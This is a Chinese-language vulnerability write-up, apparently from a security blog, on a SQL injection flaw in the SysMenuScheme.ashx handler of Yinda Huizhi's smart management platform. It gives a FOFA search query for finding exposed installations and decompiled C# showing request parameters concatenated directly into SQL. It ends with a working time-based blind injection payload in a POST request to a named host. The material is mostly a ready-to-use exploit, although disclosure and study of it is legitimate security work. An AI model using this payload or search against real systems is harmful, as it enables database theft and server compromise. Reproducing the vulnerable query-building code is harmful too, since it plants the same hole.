银达汇智智慧综合管理平台 SysMenuScheme.ashx SQL注入漏洞


漏洞简介

福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 SysMenuScheme.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

title="智慧综合管理平台登入"

漏洞分析

先看下 Module/Kernel/Controller/SysMenuScheme.ashx 引用的dll名称

<%@ WebHandler Language="C#" CodeBehind="SysMenuScheme.ashx.cs" Class="KR.Administrator.Module.Controller.SysMenuScheme"  %>

再去对应dll文件 KR.Administrator.dll 反编译后获取 Module.Controller.SysMenuScheme 的执行逻辑

namespace KR.Administrator.Module.Controller;

public class SysMenuScheme : BaseHandler
{
  private SysMenuSchemeDao bll = new SysMenuSchemeDao();

  public override void AjaxProcess(HttpContext context)
  {
    context.Response.ContentType = "text/plain";
    string str1 = WRequest.GetString("action");
    try
    {
      if (string.op_Equality(str1, "find"))
      {
        int recordcount = 0;
        string str2 = " 1=1 ";
        if (!string.IsNullOrEmpty(WRequest.GetString("name")))
          str2 += $" and name like '%{WRequest.GetString("name")}%'";
        string strWhere = str2 + $" and org_id = {SystemHelper.CurrentOrg.id}";
        DataTable dataTableList = this.bll.GetDataTableList(WRequest.GetInt("pagesize") == 0 ? 10 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
        DataGridModel dataGridModel = new DataGridModel()
        {
          total = recordcount,
          data = dataTableList
        };
        context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
        LogHelper.SysInfo(":查看!", new Exception(context.Request.Form.ToString()));
      }
      else if (string.op_Equality(str1, "save"))
        this.save(context);
      else if (string.op_Equality(str1, "getMenuScheme"))
      {
        DataTable dataTable = this.bll.GetDataTable("sys_menu_scheme", $" org_id={SystemHelper.CurrentOrg.id} ");
        DataRow dataRow = dataTable.NewRow();
        dataRow["id"] = (object) 0;
        dataRow["name"] = (object) "自定义";
        dataTable.Rows.InsertAt(dataRow, 0);
        context.Response.Write(JsonConvert.SerializeObject((object) dataTable));
      }
      else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
      {
        KR.Model.SysMenuScheme sysMenuScheme = this.bll.GetItem((long) WRequest.GetInt("id"));
        context.Response.Write(JsonConvert.SerializeObject((object) sysMenuScheme));
      }
      else if (string.op_Equality(str1, "selectedDel"))
      {
        if (SystemHelper.checkPermission("SysMenuScheme_btnDel"))
        {
          string str3 = WRequest.GetString("ids");
          if (!string.IsNullOrEmpty(str3))
          {
            IList<KR.Model.SysMenuScheme> list = (IList<KR.Model.SysMenuScheme>) this.bll.GetList($"id in ({str3}) ");
            LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
            StringBuilder stringBuilder = new StringBuilder();
            foreach (KR.Model.SysMenuScheme sysMenuScheme in (IEnumerable<KR.Model.SysMenuScheme>) list)
            {
              stringBuilder.Append(sysMenuScheme.id);
              stringBuilder.Append(",");
            }
            this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
            {
              ','
            }), Comparison.In));
            context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
          }
          else
            context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      }
      else if (string.op_Equality(str1, "conditionDel"))
      {
        if (SystemHelper.checkPermission("SysMenuScheme_btnDel"))
        {
          string strWhere = " 1=1 ";
          if (!string.IsNullOrEmpty(WRequest.GetString("name")))
            strWhere += $" and name like '%{WRequest.GetString("name")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("remark")))
            strWhere += $" and remark like '%{WRequest.GetString("remark")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("org_idBegin")))
            strWhere += $" and org_id >= {WRequest.GetString("org_idBegin")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("org_idEnd")))
            strWhere += $" and org_id < {WRequest.GetString("org_idEnd")}";
          IList<KR.Model.SysMenuScheme> list = (IList<KR.Model.SysMenuScheme>) this.bll.GetList(strWhere);
          LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
          StringBuilder stringBuilder = new StringBuilder();
          foreach (KR.Model.SysMenuScheme sysMenuScheme in (IEnumerable<KR.Model.SysMenuScheme>) list)
          {
            stringBuilder.Append(sysMenuScheme.id);
            stringBuilder.Append(",");
          }
          if (stringBuilder.Length > 0)
          {
            this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
            {
              ','
            }), Comparison.In));
            context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
          }
          else
            context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      }
      else if (string.op_Equality(str1, "exportExcel"))
        this.exportExcel(context);
      else
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
    }
    catch (Exception ex)
    {
      LogHelper.SysError($":操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
      context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
    }
  }

  private void save(HttpContext context)
  {
    KR.Model.SysMenuScheme model = new KR.Model.SysMenuScheme();
    model.id = WRequest.GetInt("id");
    if (model.id != 0)
    {
      model = this.bll.GetItem((long) model.id);
      if (model == null)
      {
        context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!指定的记录不存在或已经被其他用户删除!"));
        return;
      }
    }
    model.name = WRequest.GetString("name").Trim();
    model.remark = WRequest.GetString("remark").Trim();
    model.org_id = SystemHelper.CurrentOrg.id;
    bool flag1;
    bool flag2;
    if (model.id != 0)
    {
      if (SystemHelper.checkPermission("SysMenuScheme_btnUpdate"))
      {
        flag1 = this.bll.Update(model);
        LogHelper.SysInfo(string.Format(":修改!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
        flag2 = true;
      }
      else
      {
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
        return;
      }
    }
    else if (SystemHelper.checkPermission("SysMenuScheme_btnAdd"))
    {
      flag1 = this.bll.Add(model) > 0L;
      LogHelper.SysInfo(string.Format(":新增!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
      flag2 = false;
    }
    else
    {
      context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      return;
    }
    if (flag1)
    {
      if (flag2)
        context.Response.Write(SystemHelper.WriteResult("success", "修改成功!", "update"));
      else
        context.Response.Write(SystemHelper.WriteResult("success", "新增成功!", "add"));
    }
    else
      context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!操作过程中出现异常!"));
  }

  private void exportExcel(HttpContext context)
  {
    string condition = " 1=1 ";
    if (!string.IsNullOrEmpty(WRequest.GetString("sname")))
      condition += $" and name like '%{WRequest.GetString("sname")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sremark")))
      condition += $" and remark like '%{WRequest.GetString("sremark")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idBegin")))
      condition += $" and org_id >= {WRequest.GetString("sorg_idBegin")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idEnd")))
      condition += $" and org_id < {WRequest.GetString("sorg_idEnd")}";
    DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
    if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
      return;
    SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "导出Excel表");
  }

  public new bool IsReusable => false;
}

主要的方法AjaxProcess根据不同的action参数执行不同的操作

  1. actionfind
    1. 这里构造了一个SQL查询的strWhere字符串,其中name参数直接拼接到查询中,没有看到明显的过滤或转义。这可能导致SQL注入漏洞
    2. 例如,name参数被直接放入like '%{name}%'中,如果用户输入包含单引号或其他SQL特殊字符,可能会破坏查询结构。
  2. actionselectedDel
    1. ids参数被直接拼接到id in ({str3})中,同样存在SQL注入的风险。攻击者可以通过构造特殊的ids值来执行任意SQL命令(需要权限)。
  3. actionconditionDel
    1. 多个参数(name, remark, org_idBegin, org_idEnd)被拼接到strWhere中,尤其是org_idBeginorg_idEnd直接拼接到数值比较中,没有进行类型检查或转义,可能导致SQL注入(需要权限)。
  4. actionexportExcel
    1. 类似于conditionDel,多个参数被拼接到查询条件中,存在SQL注入的风险。

整体执行流程如下图所示:

漏洞复现

POST /Module/Kernel/Controller/SysMenuScheme.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=exportExcel&sname='waitfor+delay'0:0:4'--

成功延时 4 秒


手机扫码阅读

JeeWMS AuthInterceptor 权限绕过漏洞

Salia PLCC nwcheckexec.php 命令执行漏洞

评 论